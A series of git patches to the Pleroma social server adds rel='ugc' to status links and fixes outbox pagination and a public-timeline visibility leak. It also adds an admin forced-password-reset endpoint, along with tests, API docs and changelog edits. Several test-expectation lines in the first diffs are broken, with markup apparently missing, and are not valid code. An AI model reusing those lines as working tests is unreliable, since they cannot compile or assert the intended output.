diff --git a/test/web/common_api/common_api_utils_test.exs b/test/web/common_api/common_api_utils_test.exs
index 78cfe3c5f..2588898d0 100644
--- a/test/web/common_api/common_api_utils_test.exs
+++ b/test/web/common_api/common_api_utils_test.exs
@@ -159,9 +159,9 @@ test "works for text/markdown with mentions" do
expected =
~s(hello world
\nanother @user__test and @user__test and @user__test google.com paragraph
\n)
+ }" class="u-url mention" href="http://foo.com/user__test" rel="ugc">@user__test google.com paragraph\n)
{output, _, _} = Utils.format_input(text, "text/markdown")
diff --git a/test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs b/test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs
index 1e8d0d03b..560f55137 100644
--- a/test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs
+++ b/test/web/mastodon_api/controllers/mastodon_api_controller/update_credentials_test.exs
@@ -86,10 +86,9 @@ test "updates the user's bio", %{conn: conn} do
assert user = json_response(conn, 200)
assert user["note"] ==
- ~s(I drink #cofe with @) <> user2.nickname <> ~s()
+ ~s(I drink #cofe with @#{user2.nickname})
end
test "updates the user's locking status", %{conn: conn} do
diff --git a/test/web/mastodon_api/mastodon_api_controller_test.exs b/test/web/mastodon_api/mastodon_api_controller_test.exs
index fb04748bb..b85f3e758 100644
--- a/test/web/mastodon_api/mastodon_api_controller_test.exs
+++ b/test/web/mastodon_api/mastodon_api_controller_test.exs
@@ -996,9 +996,9 @@ test "list of notifications", %{conn: conn} do
|> get("/api/v1/notifications")
expected_response =
- "hi @#{user.nickname}"
+ }" rel="ugc">@#{user.nickname})
assert [%{"status" => %{"content" => response}} | _rest] = json_response(conn, 200)
assert response == expected_response
@@ -1018,9 +1018,9 @@ test "getting a single notification", %{conn: conn} do
|> get("/api/v1/notifications/#{notification.id}")
expected_response =
- "hi @#{user.nickname}"
+ }" rel="ugc">@#{user.nickname})
assert %{"status" => %{"content" => response}} = json_response(conn, 200)
assert response == expected_response
diff --git a/test/web/twitter_api/twitter_api_test.exs b/test/web/twitter_api/twitter_api_test.exs
index 08f264431..bf1e233f5 100644
--- a/test/web/twitter_api/twitter_api_test.exs
+++ b/test/web/twitter_api/twitter_api_test.exs
@@ -109,7 +109,9 @@ test "it registers a new user and parses mentions in the bio" do
{:ok, user2} = TwitterAPI.register_user(data2)
expected_text =
- "@john test"
+ ~s(@john test)
assert user2.bio == expected_text
end
From ae1d371428e16b738b8ec638e411e5e8c1ac4937 Mon Sep 17 00:00:00 2001
From: Egor Kislitsyn
Date: Thu, 19 Sep 2019 14:53:34 +0700
Subject: [PATCH 109/148] Update CHANGELOG
---
CHANGELOG.md | 1 +
1 file changed, 1 insertion(+)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 906aa985e..f84b0ac68 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -38,6 +38,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
- AdminAPI: Add "godmode" while fetching user statuses (i.e. admin can see private statuses)
- Improve digest email template
– Pagination: (optional) return `total` alongside with `items` when paginating
+- Add `rel="ugc"` to all links in statuses, to prevent SEO spam
### Fixed
- Following from Osada
From 0e6085da106cb966c340fac2d307d9e8e26e91ed Mon Sep 17 00:00:00 2001
From: D Anzorge
Date: Thu, 19 Sep 2019 16:09:07 +0200
Subject: [PATCH 110/148] Fix pagination in AP outbox.json
---
lib/pleroma/web/activity_pub/views/user_view.ex | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/lib/pleroma/web/activity_pub/views/user_view.ex b/lib/pleroma/web/activity_pub/views/user_view.ex
index 164b973d0..a2f73e140 100644
--- a/lib/pleroma/web/activity_pub/views/user_view.ex
+++ b/lib/pleroma/web/activity_pub/views/user_view.ex
@@ -227,11 +227,12 @@ def render("outbox.json", %{user: user, max_id: max_qid}) do
activities = ActivityPub.fetch_user_activities(user, nil, params)
+ # this is sorted chronologically, so first activity is the newest (max)
{max_id, min_id, collection} =
if length(activities) > 0 do
{
- Enum.at(Enum.reverse(activities), 0).id,
Enum.at(activities, 0).id,
+ Enum.at(Enum.reverse(activities), 0).id,
Enum.map(activities, fn act ->
{:ok, data} = Transmogrifier.prepare_outgoing(act.data)
data
From 9aca2cc95d0d8886d35be17e5cdd683004b425d9 Mon Sep 17 00:00:00 2001
From: D Anzorge
Date: Thu, 19 Sep 2019 16:09:24 +0200
Subject: [PATCH 111/148] Add test for correct AP outbox pagination
---
.../web/activity_pub/views/user_view_test.exs | 23 +++++++++++++++++++
1 file changed, 23 insertions(+)
diff --git a/test/web/activity_pub/views/user_view_test.exs b/test/web/activity_pub/views/user_view_test.exs
index 2b4a04afd..eda95e3ea 100644
--- a/test/web/activity_pub/views/user_view_test.exs
+++ b/test/web/activity_pub/views/user_view_test.exs
@@ -142,4 +142,27 @@ test "sets correct totalItems when follows are hidden but the follow counter is
assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user})
end
end
+
+ test "outbox paginates correctly" do
+ user = insert(:user)
+
+ posts =
+ for i <- 0..25 do
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "post #{i}"})
+ activity
+ end
+
+ # outbox sorts chronologically, newest first, with ten per page
+ posts = Enum.reverse(posts)
+
+ %{"first" => %{"next" => next_url}} =
+ UserView.render("outbox.json", %{user: user, max_id: nil})
+
+ next_id = Enum.at(posts, 9).id
+ assert next_url =~ next_id
+
+ %{"next" => next_url} = UserView.render("outbox.json", %{user: user, max_id: next_id})
+ next_id = Enum.at(posts, 19).id
+ assert next_url =~ next_id
+ end
end
From fe4db3b94e71bafb913044de543472764671cd1a Mon Sep 17 00:00:00 2001
From: lain
Date: Thu, 19 Sep 2019 21:01:05 +0200
Subject: [PATCH 112/148] API Docs: Document conversation ids.
---
docs/api/differences_in_mastoapi_responses.md | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
diff --git a/docs/api/differences_in_mastoapi_responses.md b/docs/api/differences_in_mastoapi_responses.md
index 3c7f5dad7..d007a69c3 100644
--- a/docs/api/differences_in_mastoapi_responses.md
+++ b/docs/api/differences_in_mastoapi_responses.md
@@ -21,7 +21,8 @@ Adding the parameter `with_muted=true` to the timeline queries will also return
Has these additional fields under the `pleroma` object:
- `local`: true if the post was made on the local instance
-- `conversation_id`: the ID of the conversation the status is associated with (if any)
+- `conversation_id`: the ID of the AP context the status is associated with (if any)
+- `direct_conversation_id`: the ID of the Mastodon direct message conversation the status is associated with (if any)
- `in_reply_to_account_acct`: the `acct` property of User entity for replied user (if any)
- `content`: a map consisting of alternate representations of the `content` property with the key being it's mimetype. Currently the only alternate representation supported is `text/plain`
- `spoiler_text`: a map consisting of alternate representations of the `spoiler_text` property with the key being it's mimetype. Currently the only alternate representation supported is `text/plain`
From df3feb9412f1a6b9962aa5ad4a45e73aabc486d7 Mon Sep 17 00:00:00 2001
From: feld
Date: Fri, 20 Sep 2019 13:21:07 +0000
Subject: [PATCH 113/148] Make it obvious how to support dual stack for
MongooseIM
---
installation/pleroma-mongooseim.cfg | 8 ++++++--
1 file changed, 6 insertions(+), 2 deletions(-)
diff --git a/installation/pleroma-mongooseim.cfg b/installation/pleroma-mongooseim.cfg
index d7567321f..576f83541 100755
--- a/installation/pleroma-mongooseim.cfg
+++ b/installation/pleroma-mongooseim.cfg
@@ -215,7 +215,9 @@
]}
]},
- { 5222, ejabberd_c2s, [
+ %% If you want dual stack, you have to clone this entire config stanza
+ %% and change the bind to "::"
+ { {5222, "0.0.0.0"}, ejabberd_c2s, [
%%
%% If TLS is compiled in and you installed a SSL
@@ -246,7 +248,9 @@
%% {max_stanza_size, 65536}
%% ]},
- { 5269, ejabberd_s2s_in, [
+ %% If you want dual stack, you have to clone this entire config stanza
+ %% and change the bind to "::"
+ { {5269, "0.0.0.0"}, ejabberd_s2s_in, [
{shaper, s2s_shaper},
{max_stanza_size, 131072},
{protocol_options, ["no_sslv3"]}
From 7cf125245512eb49a118535eda52ddbdd0c4c6bf Mon Sep 17 00:00:00 2001
From: eugenijm
Date: Fri, 20 Sep 2019 17:54:38 +0300
Subject: [PATCH 114/148] Mastodon API: Fix private and direct statuses not
being filtered out from the public timeline for an authenticated user (`GET
/api/v1/timelines/public`)
---
CHANGELOG.md | 2 ++
lib/pleroma/web/activity_pub/activity_pub.ex | 5 +++--
.../controllers/mastodon_api_controller.ex | 1 -
.../mastodon_api_controller_test.exs | 16 ++++++++++++++++
4 files changed, 21 insertions(+), 3 deletions(-)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 84b64e2b9..93b7e2a10 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -12,6 +12,8 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
- Introduced [quantum](https://github.com/quantum-elixir/quantum-core) job scheduler
- Admin API: Return `total` when querying for reports
- Mastodon API: Return `pleroma.direct_conversation_id` when creating a direct message (`POST /api/v1/statuses`)
+### Fixed
+- Mastodon API: Fix private and direct statuses not being filtered out from the public timeline for an authenticated user (`GET /api/v1/timelines/public`)
## [1.1.0] - 2019-??-??
### Security
diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex
index e1e90d667..1cf8b6151 100644
--- a/lib/pleroma/web/activity_pub/activity_pub.ex
+++ b/lib/pleroma/web/activity_pub/activity_pub.ex
@@ -520,9 +520,10 @@ def fetch_latest_activity_id_for_context(context, opts \\ %{}) do
end
def fetch_public_activities(opts \\ %{}) do
- q = fetch_activities_query([Pleroma.Constants.as_public()], opts)
+ opts = Map.drop(opts, ["user"])
- q
+ [Pleroma.Constants.as_public()]
+ |> fetch_activities_query(opts)
|> restrict_unlisted()
|> Pagination.fetch_paginated(opts)
|> Enum.reverse()
diff --git a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
index 6704ee7e8..6421c2c53 100644
--- a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
+++ b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
@@ -381,7 +381,6 @@ def public_timeline(%{assigns: %{user: user}} = conn, params) do
|> Map.put("local_only", local_only)
|> Map.put("blocking_user", user)
|> Map.put("muting_user", user)
- |> Map.put("user", user)
|> ActivityPub.fetch_public_activities()
|> Enum.reverse()
diff --git a/test/web/mastodon_api/mastodon_api_controller_test.exs b/test/web/mastodon_api/mastodon_api_controller_test.exs
index 35a0d3fe1..51f5215c2 100644
--- a/test/web/mastodon_api/mastodon_api_controller_test.exs
+++ b/test/web/mastodon_api/mastodon_api_controller_test.exs
@@ -97,6 +97,22 @@ test "the public timeline when public is set to false", %{conn: conn} do
|> json_response(403) == %{"error" => "This resource requires authentication."}
end
+ test "the public timeline includes only public statuses for an authenticated user" do
+ user = insert(:user)
+
+ conn =
+ build_conn()
+ |> assign(:user, user)
+
+ {:ok, _activity} = CommonAPI.post(user, %{"status" => "test"})
+ {:ok, _activity} = CommonAPI.post(user, %{"status" => "test", "visibility" => "private"})
+ {:ok, _activity} = CommonAPI.post(user, %{"status" => "test", "visibility" => "unlisted"})
+ {:ok, _activity} = CommonAPI.post(user, %{"status" => "test", "visibility" => "direct"})
+
+ res_conn = get(conn, "/api/v1/timelines/public")
+ assert length(json_response(res_conn, 200)) == 1
+ end
+
describe "posting statuses" do
setup do
user = insert(:user)
From 6f25668215f7f9fe20bfaf3dd72e2262a6d8915e Mon Sep 17 00:00:00 2001
From: Maxim Filippov
Date: Sun, 22 Sep 2019 16:08:07 +0300
Subject: [PATCH 115/148] Admin API: Add ability to force user's password reset
---
CHANGELOG.md | 2 ++
docs/api/admin_api.md | 8 ++++++
lib/pleroma/user.ex | 17 ++++++++++++
lib/pleroma/user/info.ex | 13 ++++++---
.../web/admin_api/admin_api_controller.ex | 9 +++++++
lib/pleroma/web/oauth/oauth_controller.ex | 5 ++++
lib/pleroma/web/router.ex | 1 +
lib/pleroma/workers/background_worker.ex | 5 ++++
test/user_test.exs | 17 ++++++++++++
.../admin_api/admin_api_controller_test.exs | 26 ++++++++++++++++++
test/web/oauth/oauth_controller_test.exs | 27 +++++++++++++++++++
.../twitter_api/password_controller_test.exs | 21 +++++++++++++++
12 files changed, 148 insertions(+), 3 deletions(-)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 84b64e2b9..e5a84f5ae 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -6,6 +6,8 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
## [Unreleased]
### Added
- Refreshing poll results for remote polls
+- Admin API: Add ability to force user's password reset
+
### Changed
- **Breaking:** Elixir >=1.8 is now required (was >= 1.7)
- Replaced [pleroma_job_queue](https://git.pleroma.social/pleroma/pleroma_job_queue) and `Pleroma.Web.Federator.RetryQueue` with [Oban](https://github.com/sorentwo/oban) (see [`docs/config.md`](docs/config.md) on migrating customized worker / retry settings)
diff --git a/docs/api/admin_api.md b/docs/api/admin_api.md
index 7637fa0d4..c6b9dd2b6 100644
--- a/docs/api/admin_api.md
+++ b/docs/api/admin_api.md
@@ -310,6 +310,14 @@ Note: Available `:permission_group` is currently moderator and admin. 404 is ret
- Params: none
- Response: password reset token (base64 string)
+## `/api/pleroma/admin/users/:nickname/force_password_reset`
+
+### Force passord reset for a user with a given nickname
+
+- Methods: `PATCH`
+- Params: none
+- Response: none (code `204`)
+
## `/api/pleroma/admin/reports`
### Get a list of reports
- Method `GET`
diff --git a/lib/pleroma/user.ex b/lib/pleroma/user.ex
index fb1f24254..ab253a274 100644
--- a/lib/pleroma/user.ex
+++ b/lib/pleroma/user.ex
@@ -269,6 +269,7 @@ def password_update_changeset(struct, params) do
|> validate_required([:password, :password_confirmation])
|> validate_confirmation(:password)
|> put_password_hash
+ |> put_embed(:info, User.Info.set_password_reset_pending(struct.info, false))
end
@spec reset_password(User.t(), map) :: {:ok, User.t()} | {:error, Ecto.Changeset.t()}
@@ -285,6 +286,20 @@ def reset_password(%User{id: user_id} = user, data) do
end
end
+ def force_password_reset_async(user) do
+ BackgroundWorker.enqueue("force_password_reset", %{"user_id" => user.id})
+ end
+
+ @spec force_password_reset(User.t()) :: {:ok, User.t()} | {:error, Ecto.Changeset.t()}
+ def force_password_reset(user) do
+ info_cng = User.Info.set_password_reset_pending(user.info, true)
+
+ user
+ |> change()
+ |> put_embed(:info, info_cng)
+ |> update_and_set_cache()
+ end
+
def register_changeset(struct, params \\ %{}, opts \\ []) do
bio_limit = Pleroma.Config.get([:instance, :user_bio_length], 5000)
name_limit = Pleroma.Config.get([:instance, :user_name_length], 100)
@@ -1115,6 +1130,8 @@ def delete(%User{} = user) do
BackgroundWorker.enqueue("delete_user", %{"user_id" => user.id})
end
+ def perform(:force_password_reset, user), do: force_password_reset(user)
+
@spec perform(atom(), User.t()) :: {:ok, User.t()}
def perform(:delete, %User{} = user) do
{:ok, _user} = ActivityPub.delete(user)
diff --git a/lib/pleroma/user/info.ex b/lib/pleroma/user/info.ex
index b150a57cd..67abc3ecd 100644
--- a/lib/pleroma/user/info.ex
+++ b/lib/pleroma/user/info.ex
@@ -20,6 +20,7 @@ defmodule Pleroma.User.Info do
field(:following_count, :integer, default: nil)
field(:locked, :boolean, default: false)
field(:confirmation_pending, :boolean, default: false)
+ field(:password_reset_pending, :boolean, default: false)
field(:confirmation_token, :string, default: nil)
field(:default_scope, :string, default: "public")
field(:blocks, {:array, :string}, default: [])
@@ -82,6 +83,14 @@ def set_activation_status(info, deactivated) do
|> validate_required([:deactivated])
end
+ def set_password_reset_pending(info, pending) do
+ params = %{password_reset_pending: pending}
+
+ info
+ |> cast(params, [:password_reset_pending])
+ |> validate_required([:password_reset_pending])
+ end
+
def update_notification_settings(info, settings) do
settings =
settings
@@ -333,9 +342,7 @@ defp valid_field?(%{"name" => name, "value" => value}) do
name_limit = Pleroma.Config.get([:instance, :account_field_name_length], 255)
value_limit = Pleroma.Config.get([:instance, :account_field_value_length], 255)
- is_binary(name) &&
- is_binary(value) &&
- String.length(name) <= name_limit &&
+ is_binary(name) && is_binary(value) && String.length(name) <= name_limit &&
String.length(value) <= value_limit
end
diff --git a/lib/pleroma/web/admin_api/admin_api_controller.ex b/lib/pleroma/web/admin_api/admin_api_controller.ex
index 8a8091daa..711e4dfc2 100644
--- a/lib/pleroma/web/admin_api/admin_api_controller.ex
+++ b/lib/pleroma/web/admin_api/admin_api_controller.ex
@@ -447,6 +447,15 @@ def get_password_reset(conn, %{"nickname" => nickname}) do
|> json(token.token)
end
+ @doc "Force password reset for a given user"
+ def force_password_reset(conn, %{"nickname" => nickname}) do
+ (%User{local: true} = user) = User.get_cached_by_nickname(nickname)
+
+ User.force_password_reset_async(user)
+
+ json_response(conn, :no_content, "")
+ end
+
def list_reports(conn, params) do
params =
params
diff --git a/lib/pleroma/web/oauth/oauth_controller.ex b/lib/pleroma/web/oauth/oauth_controller.ex
index 81eae2c8b..a57670e02 100644
--- a/lib/pleroma/web/oauth/oauth_controller.ex
+++ b/lib/pleroma/web/oauth/oauth_controller.ex
@@ -202,6 +202,8 @@ def token_exchange(
{:ok, app} <- Token.Utils.fetch_app(conn),
{:auth_active, true} <- {:auth_active, User.auth_active?(user)},
{:user_active, true} <- {:user_active, !user.info.deactivated},
+ {:password_reset_pending, false} <-
+ {:password_reset_pending, user.info.password_reset_pending},
{:ok, scopes} <- validate_scopes(app, params),
{:ok, auth} <- Authorization.create_authorization(app, user, scopes),
{:ok, token} <- Token.exchange_token(app, auth) do
@@ -215,6 +217,9 @@ def token_exchange(
{:user_active, false} ->
render_error(conn, :forbidden, "Your account is currently disabled")
+ {:password_reset_pending, true} ->
+ render_error(conn, :forbidden, "Password reset is required")
+
_error ->
render_invalid_credentials_error(conn)
end
diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex
index b9b85fd67..a306c1b80 100644
--- a/lib/pleroma/web/router.ex
+++ b/lib/pleroma/web/router.ex
@@ -186,6 +186,7 @@ defmodule Pleroma.Web.Router do
post("/users/email_invite", AdminAPIController, :email_invite)
get("/users/:nickname/password_reset", AdminAPIController, :get_password_reset)
+ patch("/users/:nickname/force_password_reset", AdminAPIController, :force_password_reset)
get("/users", AdminAPIController, :list_users)
get("/users/:nickname", AdminAPIController, :user_show)
diff --git a/lib/pleroma/workers/background_worker.ex b/lib/pleroma/workers/background_worker.ex
index 082f20ab7..7ffc8eabe 100644
--- a/lib/pleroma/workers/background_worker.ex
+++ b/lib/pleroma/workers/background_worker.ex
@@ -26,6 +26,11 @@ def perform(%{"op" => "delete_user", "user_id" => user_id}, _job) do
User.perform(:delete, user)
end
+ def perform(%{"op" => "force_password_reset", "user_id" => user_id}, _job) do
+ user = User.get_cached_by_id(user_id)
+ User.perform(:force_password_reset, user)
+ end
+
def perform(
%{
"op" => "blocks_import",
diff --git a/test/user_test.exs b/test/user_test.exs
index 39ba69668..164172405 100644
--- a/test/user_test.exs
+++ b/test/user_test.exs
@@ -1690,4 +1690,21 @@ test "changes email", %{user: user} do
assert {:ok, %User{email: "cofe@cofe.party"}} = User.change_email(user, "cofe@cofe.party")
end
end
+
+ describe "set_password_reset_pending/2" do
+ setup do
+ [user: insert(:user)]
+ end
+
+ test "sets password_reset_pending to true", %{user: user} do
+ %{password_reset_pending: password_reset_pending} = user.info
+
+ refute password_reset_pending
+
+ {:ok, %{info: %{password_reset_pending: password_reset_pending}}} =
+ User.force_password_reset(user)
+
+ assert password_reset_pending
+ end
+ end
end
diff --git a/test/web/admin_api/admin_api_controller_test.exs b/test/web/admin_api/admin_api_controller_test.exs
index 108143f6a..f00e02a7a 100644
--- a/test/web/admin_api/admin_api_controller_test.exs
+++ b/test/web/admin_api/admin_api_controller_test.exs
@@ -4,11 +4,13 @@
defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
use Pleroma.Web.ConnCase
+ use Oban.Testing, repo: Pleroma.Repo
alias Pleroma.Activity
alias Pleroma.HTML
alias Pleroma.ModerationLog
alias Pleroma.Repo
+ alias Pleroma.Tests.ObanHelpers
alias Pleroma.User
alias Pleroma.UserInviteToken
alias Pleroma.Web.CommonAPI
@@ -2351,6 +2353,30 @@ test "returns the log with pagination", %{conn: conn, admin: admin} do
"@#{admin.nickname} followed relay: https://example.org/relay"
end
end
+
+ describe "PATCH /users/:nickname/force_password_reset" do
+ setup %{conn: conn} do
+ admin = insert(:user, info: %{is_admin: true})
+ user = insert(:user)
+
+ %{conn: assign(conn, :user, admin), admin: admin, user: user}
+ end
+
+ test "sets password_reset_pending to true", %{admin: admin, user: user} do
+ assert user.info.password_reset_pending == false
+
+ conn =
+ build_conn()
+ |> assign(:user, admin)
+ |> patch("/api/pleroma/admin/users/#{user.nickname}/force_password_reset")
+
+ assert json_response(conn, 204) == ""
+
+ ObanHelpers.perform_all()
+
+ assert User.get_by_id(user.id).info.password_reset_pending == true
+ end
+ end
end
# Needed for testing
diff --git a/test/web/oauth/oauth_controller_test.exs b/test/web/oauth/oauth_controller_test.exs
index 2780e1746..8b88fd784 100644
--- a/test/web/oauth/oauth_controller_test.exs
+++ b/test/web/oauth/oauth_controller_test.exs
@@ -831,6 +831,33 @@ test "rejects token exchange for valid credentials belonging to deactivated user
refute Map.has_key?(resp, "access_token")
end
+ test "rejects token exchange for user with password_reset_pending set to true" do
+ password = "testpassword"
+
+ user =
+ insert(:user,
+ password_hash: Comeonin.Pbkdf2.hashpwsalt(password),
+ info: %{password_reset_pending: true}
+ )
+
+ app = insert(:oauth_app, scopes: ["read", "write"])
+
+ conn =
+ build_conn()
+ |> post("/oauth/token", %{
+ "grant_type" => "password",
+ "username" => user.nickname,
+ "password" => password,
+ "client_id" => app.client_id,
+ "client_secret" => app.client_secret
+ })
+
+ assert resp = json_response(conn, 403)
+
+ assert resp["error"] == "Password reset is required"
+ refute Map.has_key?(resp, "access_token")
+ end
+
test "rejects an invalid authorization code" do
app = insert(:oauth_app)
diff --git a/test/web/twitter_api/password_controller_test.exs b/test/web/twitter_api/password_controller_test.exs
index 3a7246ea8..dc6d4e3e3 100644
--- a/test/web/twitter_api/password_controller_test.exs
+++ b/test/web/twitter_api/password_controller_test.exs
@@ -6,6 +6,7 @@ defmodule Pleroma.Web.TwitterAPI.PasswordControllerTest do
use Pleroma.Web.ConnCase
alias Pleroma.PasswordResetToken
+ alias Pleroma.User
alias Pleroma.Web.OAuth.Token
import Pleroma.Factory
@@ -56,5 +57,25 @@ test "it returns HTTP 200", %{conn: conn} do
assert Comeonin.Pbkdf2.checkpw("test", user.password_hash)
assert length(Token.get_user_tokens(user)) == 0
end
+
+ test "it sets password_reset_pending to false", %{conn: conn} do
+ user = insert(:user, info: %{password_reset_pending: true})
+
+ {:ok, token} = PasswordResetToken.create_token(user)
+ {:ok, _access_token} = Token.create_token(insert(:oauth_app), user, %{})
+
+ params = %{
+ "password" => "test",
+ password_confirmation: "test",
+ token: token.token
+ }
+
+ conn
+ |> assign(:user, user)
+ |> post("/api/pleroma/password_reset", %{data: params})
+ |> html_response(:ok)
+
+ assert User.get_by_id(user.id).info.password_reset_pending == false
+ end
end
end
From 72a01f1350239d286978007883a087f8f3985d1b Mon Sep 17 00:00:00 2001
From: Maxim Filippov
Date: Sun, 22 Sep 2019 16:36:59 +0300
Subject: [PATCH 116/148] Use router helper to generate reset password link
---
lib/pleroma/web/admin_api/admin_api_controller.ex | 6 +++---
test/web/admin_api/admin_api_controller_test.exs | 4 +++-
2 files changed, 6 insertions(+), 4 deletions(-)
diff --git a/lib/pleroma/web/admin_api/admin_api_controller.ex b/lib/pleroma/web/admin_api/admin_api_controller.ex
index 54ab6e032..b2df1e5b8 100644
--- a/lib/pleroma/web/admin_api/admin_api_controller.ex
+++ b/lib/pleroma/web/admin_api/admin_api_controller.ex
@@ -17,7 +17,9 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIController do
alias Pleroma.Web.AdminAPI.ReportView
alias Pleroma.Web.AdminAPI.Search
alias Pleroma.Web.CommonAPI
+ alias Pleroma.Web.Endpoint
alias Pleroma.Web.MastodonAPI.StatusView
+ alias Pleroma.Web.Router
import Pleroma.Web.ControllerHelper, only: [json_response: 3]
@@ -432,13 +434,11 @@ def revoke_invite(conn, %{"token" => token}) do
def get_password_reset(conn, %{"nickname" => nickname}) do
(%User{local: true} = user) = User.get_cached_by_nickname(nickname)
{:ok, token} = Pleroma.PasswordResetToken.create_token(user)
- host = Pleroma.Config.get([Pleroma.Web.Endpoint, :url, :host])
- protocol = Pleroma.Config.get([Pleroma.Web.Endpoint, :protocol])
conn
|> json(%{
token: token.token,
- link: "#{protocol}://#{host}/api/pleroma/password_reset/#{token.token}"
+ link: Router.Helpers.reset_password_url(Endpoint, :reset, token.token)
})
end
diff --git a/test/web/admin_api/admin_api_controller_test.exs b/test/web/admin_api/admin_api_controller_test.exs
index c497ea098..77c67011d 100644
--- a/test/web/admin_api/admin_api_controller_test.exs
+++ b/test/web/admin_api/admin_api_controller_test.exs
@@ -596,7 +596,9 @@ test "/api/pleroma/admin/users/:nickname/password_reset" do
|> put_req_header("accept", "application/json")
|> get("/api/pleroma/admin/users/#{user.nickname}/password_reset")
- assert conn.status == 200
+ resp = json_response(conn, 200)
+
+ assert Regex.match?(~r/(http:\/\/|https:\/\/)/, resp["link"])
end
describe "GET /api/pleroma/admin/users" do
From f89fe3ac06505cc07372fcdefdc3fde72d1f04a0 Mon Sep 17 00:00:00 2001
From: Maxim Filippov
Date: Sun, 22 Sep 2019 16:45:38 +0300
Subject: [PATCH 117/148] Update docs
---
docs/api/admin_api.md | 10 +++++++++-
1 file changed, 9 insertions(+), 1 deletion(-)
diff --git a/docs/api/admin_api.md b/docs/api/admin_api.md
index 9362e3d78..8bc6379aa 100644
--- a/docs/api/admin_api.md
+++ b/docs/api/admin_api.md
@@ -298,7 +298,15 @@ Note: Available `:permission_group` is currently moderator and admin. 404 is ret
- Methods: `GET`
- Params: none
-- Response: password reset token (base64 string)
+- Response:
+
+```json
+{
+ "token": "U13DX6muOvpRsj35_ij9wLxUbkU-eFvfKttxs6gIajo=", // password reset token (base64 string)
+ "link": "https://pleroma.social/api/pleroma/password_reset/U13DX6muOvpRsj35_ij9wLxUbkU-eFvfKttxs6gIajo%3D"
+}
+```
+
## `/api/pleroma/admin/reports`
### Get a list of reports
From c8fdf757c124ac053307b0b4e02a38fc40e2dc58 Mon Sep 17 00:00:00 2001
From: Maxim Filippov
Date: Sun, 22 Sep 2019 16:59:37 +0300
Subject: [PATCH 118/148] I did not put these lines in CHANGELOG
---
CHANGELOG.md | 2 --
1 file changed, 2 deletions(-)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index b9a05dadb..6c31c0075 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -8,8 +8,6 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
- Refreshing poll results for remote polls
### Changed
- **Breaking:** Elixir >=1.8 is now required (was >= 1.7)
-- Replaced [pleroma_job_queue](https://git.pleroma.social/pleroma/pleroma_job_queue) and `Pleroma.Web.Federator.RetryQueue` with [Oban](https://github.com/sorentwo/oban) (see [`docs/config.md`](docs/config.md) on migrating customized worker / retry settings)
-- Introduced [quantum](https://github.com/quantum-elixir/quantum-core) job scheduler
- Admin API: Return `total` when querying for reports
- Mastodon API: Return `pleroma.direct_conversation_id` when creating a direct message (`POST /api/v1/statuses`)
From 79c3443b609663ab23a4353ebdb7e5e2f0e6a150 Mon Sep 17 00:00:00 2001
From: Maxim Filippov
Date: Sun, 22 Sep 2019 17:00:49 +0300
Subject: [PATCH 119/148] Update CHANGELOG
---
CHANGELOG.md | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 6c31c0075..e816e1394 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -8,8 +8,11 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
- Refreshing poll results for remote polls
### Changed
- **Breaking:** Elixir >=1.8 is now required (was >= 1.7)
+- Replaced [pleroma_job_queue](https://git.pleroma.social/pleroma/pleroma_job_queue) and `Pleroma.Web.Federator.RetryQueue` with [Oban](https://github.com/sorentwo/oban) (see [`docs/config.md`](docs/config.md) on migrating customized worker / retry settings)
+- Introduced [quantum](https://github.com/quantum-elixir/quantum-core) job scheduler
- Admin API: Return `total` when querying for reports
- Mastodon API: Return `pleroma.direct_conversation_id` when creating a direct message (`POST /api/v1/statuses`)
+- Admin API: Return link alongside with token on password reset
## [1.1.0] - 2019-??-??
### Security
@@ -37,9 +40,6 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
- AdminAPI: Add "godmode" while fetching user statuses (i.e. admin can see private statuses)
- Improve digest email template
– Pagination: (optional) return `total` alongside with `items` when paginating
-- Replaced [pleroma_job_queue](https://git.pleroma.social/pleroma/pleroma_job_queue) and `Pleroma.Web.Federator.RetryQueue` with [Oban](https://github.com/sorentwo/oban) (see [`docs/config.md`](docs/config.md) on migrating customized worker / retry settings)
-- Introduced [quantum](https://github.com/quantum-elixir/quantum-core) job scheduler
-- Admin API: Return link alongside with token on password reset
### Fixed
- Following from Osada
From d72d4757a8e66c29d58e0a3b7fb36356ae419a54 Mon Sep 17 00:00:00 2001
From: Maxim Filippov
Date: Sun, 22 Sep 2019 23:13:48 +0300
Subject: [PATCH 120/148] Format
---
lib/pleroma/user/info.ex | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/lib/pleroma/user/info.ex b/lib/pleroma/user/info.ex
index 67abc3ecd..99745f496 100644
--- a/lib/pleroma/user/info.ex
